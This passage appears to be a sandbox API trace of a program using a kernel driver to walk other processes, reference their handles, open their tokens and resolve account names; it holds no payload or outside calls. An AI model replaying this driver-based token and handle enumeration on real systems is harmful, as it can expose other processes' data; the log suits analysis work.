[0106.049] PsAcquireProcessExitSynchronization () returned 0x0 [0106.049] KeStackAttachProcess (in: PROCESS=0xfffffa8002110630, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002110630, ApcState=0xfffff88004f095d0) [0106.049] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002127ac0, HandleInformation=0x0) returned 0x0 [0106.049] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.049] PsReleaseProcessExitSynchronization () returned 0x2 [0106.049] ObfDereferenceObject (Object=0xfffffa8002110630) returned 0x10 [0106.049] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800250f044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800250f044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.049] ObfDereferenceObject (Object=0xfffffa8002127ac0) returned 0x1 [0106.049] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.049] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.049] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.049] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0106.049] PsLookupProcessByProcessId (in: ProcessId=0xac0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.049] PsAcquireProcessExitSynchronization () returned 0x0 [0106.049] KeStackAttachProcess (in: PROCESS=0xfffffa8002110630, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002110630, ApcState=0xfffff88004f095d0) [0106.049] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0106.050] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.050] PsReleaseProcessExitSynchronization () returned 0x2 [0106.050] ObfDereferenceObject (Object=0xfffffa8002110630) returned 0x10 [0106.050] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.050] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0106.050] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.050] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.050] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xad0) returned 0xc0 [0106.050] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0106.050] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8002121b30, HandleInformation=0x0) returned 0x0 [0106.050] ObOpenObjectByPointer (in: Object=0xfffffa8002121b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0106.050] ObfDereferenceObject (Object=0xfffffa8002121b30) returned 0x12 [0106.050] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa80021b7380 | out: TokenHandle=0xfffffa80021b7380*=0xc8) returned 0x0 [0106.050] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0106.050] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.050] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0106.050] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0106.051] CloseHandle (hObject=0xc8) returned 1 [0106.051] CloseHandle (hObject=0xc0) returned 1 [0106.051] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.051] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0106.051] PsLookupProcessByProcessId (in: ProcessId=0xad0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.052] PsAcquireProcessExitSynchronization () returned 0x0 [0106.052] KeStackAttachProcess (in: PROCESS=0xfffffa8002121b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002121b30, ApcState=0xfffff88004f095d0) [0106.052] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020ca070, HandleInformation=0x0) returned 0x0 [0106.052] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.052] PsReleaseProcessExitSynchronization () returned 0x2 [0106.052] ObfDereferenceObject (Object=0xfffffa8002121b30) returned 0x10 [0106.052] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.052] ObfDereferenceObject (Object=0xfffffa80020ca070) returned 0x1 [0106.052] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.052] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.052] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.052] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x6c, lpOverlapped=0x0) returned 1 [0106.052] PsLookupProcessByProcessId (in: ProcessId=0xad0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.052] PsAcquireProcessExitSynchronization () returned 0x0 [0106.052] KeStackAttachProcess (in: PROCESS=0xfffffa8002121b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002121b30, ApcState=0xfffff88004f095d0) [0106.052] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800212f6f0, HandleInformation=0x0) returned 0x0 [0106.052] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.052] PsReleaseProcessExitSynchronization () returned 0x2 [0106.052] ObfDereferenceObject (Object=0xfffffa8002121b30) returned 0x10 [0106.052] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.052] ObfDereferenceObject (Object=0xfffffa800212f6f0) returned 0x1 [0106.052] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.052] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.052] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.052] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0106.052] PsLookupProcessByProcessId (in: ProcessId=0xad0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.052] PsAcquireProcessExitSynchronization () returned 0x0 [0106.052] KeStackAttachProcess (in: PROCESS=0xfffffa8002121b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002121b30, ApcState=0xfffff88004f095d0) [0106.052] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0106.052] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.053] PsReleaseProcessExitSynchronization () returned 0x2 [0106.053] ObfDereferenceObject (Object=0xfffffa8002121b30) returned 0x10 [0106.053] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80024cf044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80024cf044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.053] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0106.053] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.053] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.053] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xae0) returned 0xc0 [0106.053] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0106.053] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa80021385f0, HandleInformation=0x0) returned 0x0 [0106.053] ObOpenObjectByPointer (in: Object=0xfffffa80021385f0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0106.053] ObfDereferenceObject (Object=0xfffffa80021385f0) returned 0x12 [0106.053] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa80021b7380 | out: TokenHandle=0xfffffa80021b7380*=0xc8) returned 0x0 [0106.053] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0106.053] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.053] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0106.053] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0106.054] CloseHandle (hObject=0xc8) returned 1 [0106.054] CloseHandle (hObject=0xc0) returned 1 [0106.054] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.055] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0106.055] PsLookupProcessByProcessId (in: ProcessId=0xae0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.055] PsAcquireProcessExitSynchronization () returned 0x0 [0106.055] KeStackAttachProcess (in: PROCESS=0xfffffa80021385f0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80021385f0, ApcState=0xfffff88004f095d0) [0106.055] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002138f20, HandleInformation=0x0) returned 0x0 [0106.055] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.055] PsReleaseProcessExitSynchronization () returned 0x2 [0106.055] ObfDereferenceObject (Object=0xfffffa80021385f0) returned 0x10 [0106.055] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037b8044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80037b8044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.055] ObfDereferenceObject (Object=0xfffffa8002138f20) returned 0x1 [0106.055] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.055] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.055] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.055] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x70, lpOverlapped=0x0) returned 1 [0106.055] PsLookupProcessByProcessId (in: ProcessId=0xae0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.055] PsAcquireProcessExitSynchronization () returned 0x0 [0106.055] KeStackAttachProcess (in: PROCESS=0xfffffa80021385f0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80021385f0, ApcState=0xfffff88004f095d0) [0106.055] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800213cf20, HandleInformation=0x0) returned 0x0 [0106.055] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.055] PsReleaseProcessExitSynchronization () returned 0x2 [0106.055] ObfDereferenceObject (Object=0xfffffa80021385f0) returned 0x10 [0106.055] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.055] ObfDereferenceObject (Object=0xfffffa800213cf20) returned 0x1 [0106.055] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.055] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.055] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.055] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0106.055] PsLookupProcessByProcessId (in: ProcessId=0xae0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.055] PsAcquireProcessExitSynchronization () returned 0x0 [0106.055] KeStackAttachProcess (in: PROCESS=0xfffffa80021385f0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80021385f0, ApcState=0xfffff88004f095d0) [0106.056] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0106.056] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.056] PsReleaseProcessExitSynchronization () returned 0x2 [0106.056] ObfDereferenceObject (Object=0xfffffa80021385f0) returned 0x10 [0106.056] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.056] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0106.056] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.056] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.056] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xaf0) returned 0xc0 [0106.056] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0106.056] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8002146b30, HandleInformation=0x0) returned 0x0 [0106.056] ObOpenObjectByPointer (in: Object=0xfffffa8002146b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0106.056] ObfDereferenceObject (Object=0xfffffa8002146b30) returned 0x12 [0106.056] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa80021b7380 | out: TokenHandle=0xfffffa80021b7380*=0xc8) returned 0x0 [0106.056] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0106.056] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.056] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0106.056] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0106.057] CloseHandle (hObject=0xc8) returned 1 [0106.057] CloseHandle (hObject=0xc0) returned 1 [0106.058] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.058] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0106.058] PsLookupProcessByProcessId (in: ProcessId=0xaf0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.058] PsAcquireProcessExitSynchronization () returned 0x0 [0106.058] KeStackAttachProcess (in: PROCESS=0xfffffa8002146b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002146b30, ApcState=0xfffff88004f095d0) [0106.058] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80021449e0, HandleInformation=0x0) returned 0x0 [0106.058] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.058] PsReleaseProcessExitSynchronization () returned 0x2 [0106.058] ObfDereferenceObject (Object=0xfffffa8002146b30) returned 0x10 [0106.058] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.058] ObfDereferenceObject (Object=0xfffffa80021449e0) returned 0x1 [0106.058] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.058] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.058] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.058] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0106.058] PsLookupProcessByProcessId (in: ProcessId=0xaf0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.058] PsAcquireProcessExitSynchronization () returned 0x0 [0106.058] KeStackAttachProcess (in: PROCESS=0xfffffa8002146b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002146b30, ApcState=0xfffff88004f095d0) [0106.058] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80021485e0, HandleInformation=0x0) returned 0x0 [0106.058] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.058] PsReleaseProcessExitSynchronization () returned 0x2 [0106.058] ObfDereferenceObject (Object=0xfffffa8002146b30) returned 0x10 [0106.058] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.058] ObfDereferenceObject (Object=0xfffffa80021485e0) returned 0x1 [0106.058] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.058] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.058] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.058] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0106.058] PsLookupProcessByProcessId (in: ProcessId=0xaf0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.058] PsAcquireProcessExitSynchronization () returned 0x0 [0106.058] KeStackAttachProcess (in: PROCESS=0xfffffa8002146b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002146b30, ApcState=0xfffff88004f095d0) [0106.059] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0106.059] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.059] PsReleaseProcessExitSynchronization () returned 0x2 [0106.059] ObfDereferenceObject (Object=0xfffffa8002146b30) returned 0x10 [0106.059] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.059] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0106.059] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.059] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.059] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb00) returned 0xc0 [0106.059] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0106.059] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8002151560, HandleInformation=0x0) returned 0x0 [0106.059] ObOpenObjectByPointer (in: Object=0xfffffa8002151560, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0106.059] ObfDereferenceObject (Object=0xfffffa8002151560) returned 0x12 [0106.059] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa80021b7380 | out: TokenHandle=0xfffffa80021b7380*=0xc8) returned 0x0 [0106.059] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0106.059] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.059] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, 